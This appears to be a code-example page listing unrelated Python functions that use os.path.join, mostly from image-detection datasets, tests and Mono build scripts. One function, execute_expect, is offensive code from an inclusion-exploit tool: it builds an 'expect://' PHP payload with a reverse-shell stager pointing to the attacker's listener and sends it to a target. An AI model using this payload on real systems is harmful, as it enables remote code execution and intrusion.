Python os.path.join() Examples

def isUpdatesAvailable(cls, path):
        if sys.version_info < (3, 0):
            return False
        # pylint: disable=broad-except
        if not os.path.isfile(os.path.join(path, "files.xml")):
            return True
        try:
            available = dict()
            for it in ET.parse(os.path.join(path, "files.xml")).iter():
                if it.tag == "File":
                    available[it.text] = datetime.datetime.strptime(it.attrib["Modified"], "%d-%m-%Y")

            path = NamedTemporaryFile()
            path.close()
            urllib.request.urlretrieve("https://www.gurux.fi/obis/files.xml", path.name)
            for it in ET.parse(path.name).iter():
                if it.tag == "File":
                    tmp = datetime.datetime.strptime(it.attrib["Modified"], "%d-%m-%Y")
                    if not it.text in available or available[it.text] != tmp:
                        return True
        except Exception as e:
            print(e)
            return True
        return False 

def clean(opts: BaseOpts, target: str):
    build_dir = path_join(opts.configure_dir, 'llvm-%s' % target)
    install_dir = path_join(opts.install_dir, 'llvm-%s' % target)
    stamp_file = path_join(opts.configure_dir, '.stamp-%s-make' % target)

    rm_rf(stamp_file)

    make_args = make_default_args(opts)
    make_args += [
        '-C', '%s/llvm' % opts.mono_source_root,
        '-f', 'build.mk', 'clean-llvm',
        'LLVM_BUILD=%s' % build_dir,
        'LLVM_PREFIX=%s' % install_dir
    ]

    run_command('make', args=make_args, name='make clean') 

def wasm_run_configure(env: dict, opts: RuntimeOpts, product: str, target: str, emsdk_root: str):
    build_dir = path_join(opts.configure_dir, '%s-%s-%s' % (product, target, opts.configuration))
    mkdir_p(build_dir)

    def str_dict_val(val):
        if isinstance(val, list):
            return ' '.join(val) # Don't need to surround with quotes
        return val

    ac_vars = env['_%s_%s_AC_VARS' % (product, target)]
    configure_flags = env['_%s_%s_CONFIGURE_FLAGS' % (product, target)]

    configure = path_join(opts.mono_source_root, 'configure')
    configure_args = ac_vars + configure_flags

    configure_env = os.environ.copy()

    target_extra_path = env.get('_%s-%s_PATH' % (product, target), '')
    if target_extra_path:
        configure_env['PATH'] += ':' + target_extra_path

    configure_env['PATH'] = emsdk_root + ':' + configure_env['PATH']

    run_command('emconfigure', args=[configure] + configure_args, cwd=build_dir, env=configure_env, name='configure') 

def test_albu_transform():
    results = dict(
        img_prefix=osp.join(osp.dirname(__file__), '../data'),
        img_info=dict(filename='color.jpg'))

    # Define simple pipeline
    load = dict(type='LoadImageFromFile')
    load = build_from_cfg(load, PIPELINES)

    albu_transform = dict(
        type='Albu', transforms=[dict(type='ChannelShuffle', p=1)])
    albu_transform = build_from_cfg(albu_transform, PIPELINES)

    normalize = dict(type='Normalize', mean=[0] * 3, std=[0] * 3, to_rgb=True)
    normalize = build_from_cfg(normalize, PIPELINES)

    # Execute transforms
    results = load(results)
    results = albu_transform(results)
    results = normalize(results)

    assert results['img'].dtype == np.float32 

def configure(opts: AndroidOpts, product: str, target: str):
    env = { 'ANDROID_API_VERSION': get_api_version_or_min(opts, target) }

    if is_cross(target):
        import llvm

        if is_cross_mxe(target):
            llvm.make(opts, 'llvmwin64')
            setup_android_cross_mxe_template(env, opts, target, host_arch='x86_64')
        else:
            llvm.make(opts, 'llvm64')
            setup_android_cross_template(env, opts, target, host_arch='x86_64')
    else:
        make_standalone_toolchain(opts, target, env['ANDROID_API_VERSION'])
        setup_android_target_template(env, opts, target)

    if not os.path.isfile(path_join(opts.mono_source_root, 'configure')):
        runtime.run_autogen(opts)

    runtime.run_configure(env, opts, product, target) 

def test_default_format_bundle():
    results = dict(
        img_prefix=osp.join(osp.dirname(__file__), '../data'),
        img_info=dict(filename='color.jpg'))
    load = dict(type='LoadImageFromFile')
    load = build_from_cfg(load, PIPELINES)
    bundle = dict(type='DefaultFormatBundle')
    bundle = build_from_cfg(bundle, PIPELINES)
    results = load(results)
    assert 'pad_shape' not in results
    assert 'scale_factor' not in results
    assert 'img_norm_cfg' not in results
    results = bundle(results)
    assert 'pad_shape' in results
    assert 'scale_factor' in results
    assert 'img_norm_cfg' in results 

def run_configure(env: dict, opts: RuntimeOpts, product: str, target: str):
    build_dir = path_join(opts.configure_dir, '%s-%s-%s' % (product, target, opts.configuration))
    mkdir_p(build_dir)

    def str_dict_val(val):
        if isinstance(val, list):
            return ' '.join(val) # Don't need to surround with quotes
        return val

    ac_vars = env['_runtime_%s-%s_AC_VARS' % (product, target)]
    configure_env_args = env['_runtime_%s-%s_CONFIGURE_ENVIRONMENT' % (product, target)]
    configure_env_args = [('%s=%s' % (key, str_dict_val(value))) for (key, value) in configure_env_args.items()]
    configure_flags = env['_runtime_%s-%s_CONFIGURE_FLAGS' % (product, target)]

    configure = path_join(opts.mono_source_root, 'configure')
    configure_args = ac_vars + configure_env_args + configure_flags

    configure_env = os.environ.copy()
    target_extra_path = env.get('_%s-%s_PATH' % (product, target), '')
    if target_extra_path:
        configure_env['PATH'] += ':' + target_extra_path

    run_command(configure, args=configure_args, cwd=build_dir, env=configure_env, name='configure') 

def test_load_multi_channel_img(self):
        results = dict(
            img_prefix=self.data_prefix,
            img_info=dict(filename=['color.jpg', 'color.jpg']))
        transform = LoadMultiChannelImageFromFiles()
        results = transform(copy.deepcopy(results))
        assert results['filename'] == [
            osp.join(self.data_prefix, 'color.jpg'),
            osp.join(self.data_prefix, 'color.jpg')
        ]
        assert results['ori_filename'] == ['color.jpg', 'color.jpg']
        assert results['img'].shape == (288, 512, 3, 2)
        assert results['img'].dtype == np.uint8
        assert results['img_shape'] == (288, 512, 3, 2)
        assert results['ori_shape'] == (288, 512, 3, 2)
        assert results['pad_shape'] == (288, 512, 3, 2)
        assert results['scale_factor'] == 1.0
        assert repr(transform) == transform.__class__.__name__ + \
            "(to_float32=False, color_type='unchanged', " + \
            "file_client_args={'backend': 'disk'})" 

def strip_libs(opts: DesktopOpts, product: str, target_platform: str, target: str):
    if target_platform == 'osx':
        # 'strip' doesn't support '--strip-unneeded' on macOS
        return

    if is_cross_compiling(target_platform) and target_platform == 'windows':
        mxe_bin = path_join(opts.mxe_prefix, 'bin')
        name_fmt = path_join(mxe_bin, target_arch[target_platform][target] + '-w64-mingw32-%s')
        strip = name_fmt % 'strip'
    else:
        strip = 'strip'

    install_dir = path_join(opts.install_dir, '%s-%s-%s' % (product, target, opts.configuration))
    out_libs_dir = path_join(install_dir, 'lib')

    lib_files = globs(('*.a', '*.so'), dirpath=out_libs_dir)
    if len(lib_files):
        run_command(strip, args=['--strip-unneeded'] + lib_files, name='strip')

    if target_platform == 'windows':
        out_bin_dir = path_join(install_dir, 'bin')

        dll_files = globs(('*.dll',), dirpath=out_bin_dir)
        if len(dll_files):
            run_command(strip, args=['--strip-unneeded'] + dll_files, name='strip') 

def main():
    args = parse_args()
    cityscapes_path = args.cityscapes_path
    out_dir = args.out_dir if args.out_dir else cityscapes_path
    mmcv.mkdir_or_exist(out_dir)

    img_dir = osp.join(cityscapes_path, args.img_dir)
    gt_dir = osp.join(cityscapes_path, args.gt_dir)

    set_name = dict(
        train='instancesonly_filtered_gtFine_train.json',
        val='instancesonly_filtered_gtFine_val.json',
        test='instancesonly_filtered_gtFine_test.json')

    for split, json_name in set_name.items():
        print(f'Converting {split} into {json_name}')
        with mmcv.Timer(
                print_tmpl='It tooks {}s to convert Cityscapes annotation'):
            files = collect_files(
                osp.join(img_dir, split), osp.join(gt_dir, split))
            image_infos = collect_annotations(files, nproc=args.nproc)
            cvt_annotations(image_infos, osp.join(out_dir, json_name)) 

def add_base_arguments(parser, default_help):
    import os
    from os.path import join as path_join

    home = os.environ.get('HOME')
    mono_sources_default = os.environ.get('MONO_SOURCE_ROOT', '')

    parser.add_argument('--verbose-make', action='store_true', default=False, help=default_help)
    # --jobs supports not passing an argument, in which case the 'const' is used,
    # which is the number of CPU cores on the host system.
    parser.add_argument('--jobs', '-j', nargs='?', const=str(os.cpu_count()), default='1', help=default_help)
    parser.add_argument('--configure-dir', default=path_join(home, 'mono-configs'), help=default_help)
    parser.add_argument('--install-dir', default=path_join(home, 'mono-installs'), help=default_help)

    if mono_sources_default:
        parser.add_argument('--mono-sources', default=mono_sources_default, help=default_help)
    else:
        parser.add_argument('--mono-sources', required=True)

    parser.add_argument('--mxe-prefix', default='/usr', help=default_help) 

def get_subset_by_classes(self):
        """Filter imgs by user-defined categories."""
        subset_data_infos = []
        for data_info in self.data_infos:
            img_id = data_info['id']
            xml_path = osp.join(self.img_prefix, 'Annotations',
                                f'{img_id}.xml')
            tree = ET.parse(xml_path)
            root = tree.getroot()
            for obj in root.findall('object'):
                name = obj.find('name').text
                if name in self.CLASSES:
                    subset_data_infos.append(data_info)
                    break

        return subset_data_infos 

def get_cat_ids(self, idx):
        """Get category ids in XML file by index.

        Args:
            idx (int): Index of data.

        Returns:
            list[int]: All categories in the image of specified index.
        """

        cat_ids = []
        img_id = self.data_infos[idx]['id']
        xml_path = osp.join(self.img_prefix, 'Annotations', f'{img_id}.xml')
        tree = ET.parse(xml_path)
        root = tree.getroot()
        for obj in root.findall('object'):
            name = obj.find('name').text
            if name not in self.CLASSES:
                continue
            label = self.cat2label[name]
            cat_ids.append(label)

        return cat_ids 

def readManufacturerSettings(cls, manufacturers, path):
        # pylint: disable=broad-except
        manufacturers = []
        files = [f for f in listdir(path) if isfile(join(path, f))]
        if files:
            for it in files:
                if it.endswith(".obx"):
                    try:
                        manufacturers.append(cls.__parse(os.path.join(path, it)))
                    except Exception as e:
                        print(e)
                        continue

    #
    # Serialize manufacturer from the xml.
    #
    # @param in
    #            Input stream.
    # Serialized manufacturer.
    # 

def mock_requestsGithub(uri, headers={}, params={}):
    if uri.endswith('contents'):
        return_value = Mock(ok=True)
        return_value.json.return_value = mock_files
        return return_value
    else:
        targetFile = uri.replace('https://raw.githubusercontent.com/fakeuser/fakerepo/master/', path.join(base_url, ''))
        if path.exists(targetFile):
            f = open(targetFile, 'r')
            lines = f.readlines()
            text = ''.join(lines)
            return_value = Mock(status_code=200)
            return_value.text = text
            return return_value
        else:
            return_value = Mock(status_code=404)
            return return_value 

def load_qm9(data_dir, files):
    
    graphs = []
    labels = []
    for i in range(len(files)):
        g , l = xyz_graph_reader(join(data_dir, files[i]))
        graphs += [g]
        labels.append(l)
        
    return graphs, labels 

def setUpClass(self):
        self.loader = LocalLoader(path.join('tests', 'repo')) 

def _getText(self, filename):
        """Return the content of the specified file contained in the local repo."""
        targetFile = path.join(self.baseDir, filename)
        if path.exists(targetFile):
            with open(targetFile, 'r') as f:
                lines = f.readlines()
                text = ''.join(lines)
                return text
        else:
            return None 

def fetchFiles(self):
        """Returns a list of file items contained on the local repo."""
        files = glob(path.join(self.baseDir, '*'))
        filesDef = []
        baseDirSlash = path.join(self.baseDir, '')
        for f in files:
            relative = f.replace(baseDirSlash, '')
            filesDef.append({
                'download_url': relative,
                'name': relative
            })
        return filesDef 

def execute_expect(self):

        lhost, lport, shell = msf_payload()
        file = join(HERE, "Server.py")
        handle = listener(lhost, lport)
        handle.handler()

        if self.nostager:
            print(colors("[~] No-Staged Selected!", 93))
            with open("/tmp/{0}.php".format(shell), "r") as f:
                payload = "expect://echo \""
                payload += quote(f.read().replace("\"", "\\\"").replace("$", "\\$"))
                payload += "\" | php"
        else:
            payload = "expect://echo \"" + STAGER.format(lhost, shell) + "\" | php"
            print(colors("[~] Starting Web Server ... ", 93))

            try:
                p = subprocess.Popen(["python {}".format(file)], shell=True, stdout=subprocess.PIPE)
                p.communicate()
            except OSError as os_error:
                print(colors("[!] Process Error", 91))
                print(os_error)
        input(colors("[?] Press Enter To Continue When Your netcat listener is Running ...", 94))

        if self.cookies:
            cookies = cook(self.cookies)
            attack(self.target, payload, cookies=cookies)
        else:
            attack(self.target, payload) 

def format_results(self, results, txtfile_prefix=None):
        """Format the results to txt (standard format for Cityscapes
        evaluation).

        Args:
            results (list): Testing results of the dataset.
            txtfile_prefix (str | None): The prefix of txt files. It includes
                the file path and the prefix of filename, e.g., "a/b/prefix".
                If not specified, a temp file will be created. Default: None.

        Returns:
            tuple: (result_files, tmp_dir), result_files is a dict containing
                the json filepaths, tmp_dir is the temporal directory created
                for saving txt/png files when txtfile_prefix is not specified.
        """
        assert isinstance(results, list), 'results must be a list'
        assert len(results) == len(self), (
            'The length of results is not equal to the dataset len: {} != {}'.
            format(len(results), len(self)))

        assert isinstance(results, list), 'results must be a list'
        assert len(results) == len(self), (
            'The length of results is not equal to the dataset len: {} != {}'.
            format(len(results), len(self)))

        if txtfile_prefix is None:
            tmp_dir = tempfile.TemporaryDirectory()
            txtfile_prefix = osp.join(tmp_dir.name, 'results')
        else:
            tmp_dir = None
        result_files = self.results2txt(results, txtfile_prefix)

        return result_files, tmp_dir 

def test_pad():
    # test assertion if both size_divisor and size is None
    with pytest.raises(AssertionError):
        transform = dict(type='Pad')
        build_from_cfg(transform, PIPELINES)

    transform = dict(type='Pad', size_divisor=32)
    transform = build_from_cfg(transform, PIPELINES)
    results = dict()
    img = mmcv.imread(
        osp.join(osp.dirname(__file__), '../data/color.jpg'), 'color')
    original_img = copy.deepcopy(img)
    results['img'] = img
    results['img2'] = copy.deepcopy(img)
    results['img_shape'] = img.shape
    results['ori_shape'] = img.shape
    # Set initial values for default meta_keys
    results['pad_shape'] = img.shape
    results['scale_factor'] = 1.0
    results['img_fields'] = ['img', 'img2']

    results = transform(results)
    assert np.equal(results['img'], results['img2']).all()
    # original img already divisible by 32
    assert np.equal(results['img'], original_img).all()
    img_shape = results['img'].shape
    assert img_shape[0] % 32 == 0
    assert img_shape[1] % 32 == 0

    resize_transform = dict(
        type='Resize', img_scale=(1333, 800), keep_ratio=True)
    resize_module = build_from_cfg(resize_transform, PIPELINES)
    results = resize_module(results)
    results = transform(results)
    img_shape = results['img'].shape
    assert np.equal(results['img'], results['img2']).all()
    assert img_shape[0] % 32 == 0
    assert img_shape[1] % 32 == 0 

def test_flip():
    # test assertion for invalid flip_ratio
    with pytest.raises(AssertionError):
        transform = dict(type='RandomFlip', flip_ratio=1.5)
        build_from_cfg(transform, PIPELINES)

    # test assertion for invalid direction
    with pytest.raises(AssertionError):
        transform = dict(
            type='RandomFlip', flip_ratio=1, direction='horizonta')
        build_from_cfg(transform, PIPELINES)

    transform = dict(type='RandomFlip', flip_ratio=1)
    flip_module = build_from_cfg(transform, PIPELINES)

    results = dict()
    img = mmcv.imread(
        osp.join(osp.dirname(__file__), '../data/color.jpg'), 'color')
    original_img = copy.deepcopy(img)
    results['img'] = img
    results['img2'] = copy.deepcopy(img)
    results['img_shape'] = img.shape
    results['ori_shape'] = img.shape
    # Set initial values for default meta_keys
    results['pad_shape'] = img.shape
    results['scale_factor'] = 1.0
    results['img_fields'] = ['img', 'img2']

    results = flip_module(results)
    assert np.equal(results['img'], results['img2']).all()

    flip_module = build_from_cfg(transform, PIPELINES)
    results = flip_module(results)
    assert np.equal(results['img'], results['img2']).all()
    assert np.equal(original_img, results['img']).all() 

def format_results(self, results, jsonfile_prefix=None, **kwargs):
        """Format the results to json (standard format for COCO evaluation).

        Args:
            results (list[tuple | numpy.ndarray]): Testing results of the
                dataset.
            jsonfile_prefix (str | None): The prefix of json files. It includes
                the file path and the prefix of filename, e.g., "a/b/prefix".
                If not specified, a temp file will be created. Default: None.

        Returns:
            tuple: (result_files, tmp_dir), result_files is a dict containing
                the json filepaths, tmp_dir is the temporal directory created
                for saving json files when jsonfile_prefix is not specified.
        """
        assert isinstance(results, list), 'results must be a list'
        assert len(results) == len(self), (
            'The length of results is not equal to the dataset len: {} != {}'.
            format(len(results), len(self)))

        if jsonfile_prefix is None:
            tmp_dir = tempfile.TemporaryDirectory()
            jsonfile_prefix = osp.join(tmp_dir.name, 'results')
        else:
            tmp_dir = None
        result_files = self.results2json(results, jsonfile_prefix)
        return result_files, tmp_dir 

def load_annotations(self, ann_file):
        """Load annotation from WIDERFace XML style annotation file.

        Args:
            ann_file (str): Path of XML file.

        Returns:
            list[dict]: Annotation info from XML file.
        """

        data_infos = []
        img_ids = mmcv.list_from_file(ann_file)
        for img_id in img_ids:
            filename = f'{img_id}.jpg'
            xml_path = osp.join(self.img_prefix, 'Annotations',
                                f'{img_id}.xml')
            tree = ET.parse(xml_path)
            root = tree.getroot()
            size = root.find('size')
            width = int(size.find('width').text)
            height = int(size.find('height').text)
            folder = root.find('folder').text
            data_infos.append(
                dict(
                    id=img_id,
                    filename=osp.join(folder, filename),
                    width=width,
                    height=height))

        return data_infos 

def __call__(self, results):
        """Call functions to load image and get image meta information.

        Args:
            results (dict): Result dict from :obj:`mmdet.CustomDataset`.

        Returns:
            dict: The dict contains loaded image and meta information.
        """

        if self.file_client is None:
            self.file_client = mmcv.FileClient(**self.file_client_args)

        if results['img_prefix'] is not None:
            filename = osp.join(results['img_prefix'],
                                results['img_info']['filename'])
        else:
            filename = results['img_info']['filename']

        img_bytes = self.file_client.get(filename)
        img = mmcv.imfrombytes(img_bytes, flag=self.color_type)
        if self.to_float32:
            img = img.astype(np.float32)

        results['filename'] = filename
        results['ori_filename'] = results['img_info']['filename']
        results['img'] = img
        results['img_shape'] = img.shape
        results['ori_shape'] = img.shape
        results['img_fields'] = ['img']
        return results 

def setup_class(cls):
        cls.data_prefix = osp.join(osp.dirname(__file__), '../data') 

def collect_results_cpu(result_part, size, tmpdir=None):
    rank, world_size = get_dist_info()
    # create a tmp dir if it is not specified
    if tmpdir is None:
        MAX_LEN = 512
        # 32 is whitespace
        dir_tensor = torch.full((MAX_LEN, ),
                                32,
                                dtype=torch.uint8,
                                device='cuda')
        if rank == 0:
            tmpdir = tempfile.mkdtemp()
            tmpdir = torch.tensor(
                bytearray(tmpdir.encode()), dtype=torch.uint8, device='cuda')
            dir_tensor[:len(tmpdir)] = tmpdir
        dist.broadcast(dir_tensor, 0)
        tmpdir = dir_tensor.cpu().numpy().tobytes().decode().rstrip()
    else:
        mmcv.mkdir_or_exist(tmpdir)
    # dump the part result to the dir
    mmcv.dump(result_part, osp.join(tmpdir, f'part_{rank}.pkl'))
    dist.barrier()
    # collect all parts
    if rank != 0:
        return None
    else:
        # load results of all parts from tmp dir
        part_list = []
        for i in range(world_size):
            part_file = osp.join(tmpdir, f'part_{i}.pkl')
            part_list.append(mmcv.load(part_file))
        # sort the results
        ordered_results = []
        for res in zip(*part_list):
            ordered_results.extend(list(res))
        # the dataloader may pad some samples
        ordered_results = ordered_results[:size]
        # remove tmp dir
        shutil.rmtree(tmpdir)
        return ordered_results 

def load_annotations(self, ann_file):
        """Load annotation from XML style ann_file.

        Args:
            ann_file (str): Path of XML file.

        Returns:
            list[dict]: Annotation info from XML file.
        """

        data_infos = []
        img_ids = mmcv.list_from_file(ann_file)
        for img_id in img_ids:
            filename = f'JPEGImages/{img_id}.jpg'
            xml_path = osp.join(self.img_prefix, 'Annotations',
                                f'{img_id}.xml')
            tree = ET.parse(xml_path)
            root = tree.getroot()
            size = root.find('size')
            width = 0
            height = 0
            if size is not None:
                width = int(size.find('width').text)
                height = int(size.find('height').text)
            else:
                img_path = osp.join(self.img_prefix, 'JPEGImages',
                                    '{}.jpg'.format(img_id))
                img = Image.open(img_path)
                width, height = img.size
            data_infos.append(
                dict(id=img_id, filename=filename, width=width, height=height))

        return data_infos 

def after_train_epoch(self, runner):
        if not self.every_n_epochs(runner, self.interval):
            return
        from mmdet.apis import multi_gpu_test
        results = multi_gpu_test(
            runner.model,
            self.dataloader,
            tmpdir=osp.join(runner.work_dir, '.eval_hook'),
            gpu_collect=self.gpu_collect)
        if runner.rank == 0:
            print('\n')
            self.evaluate(runner, results)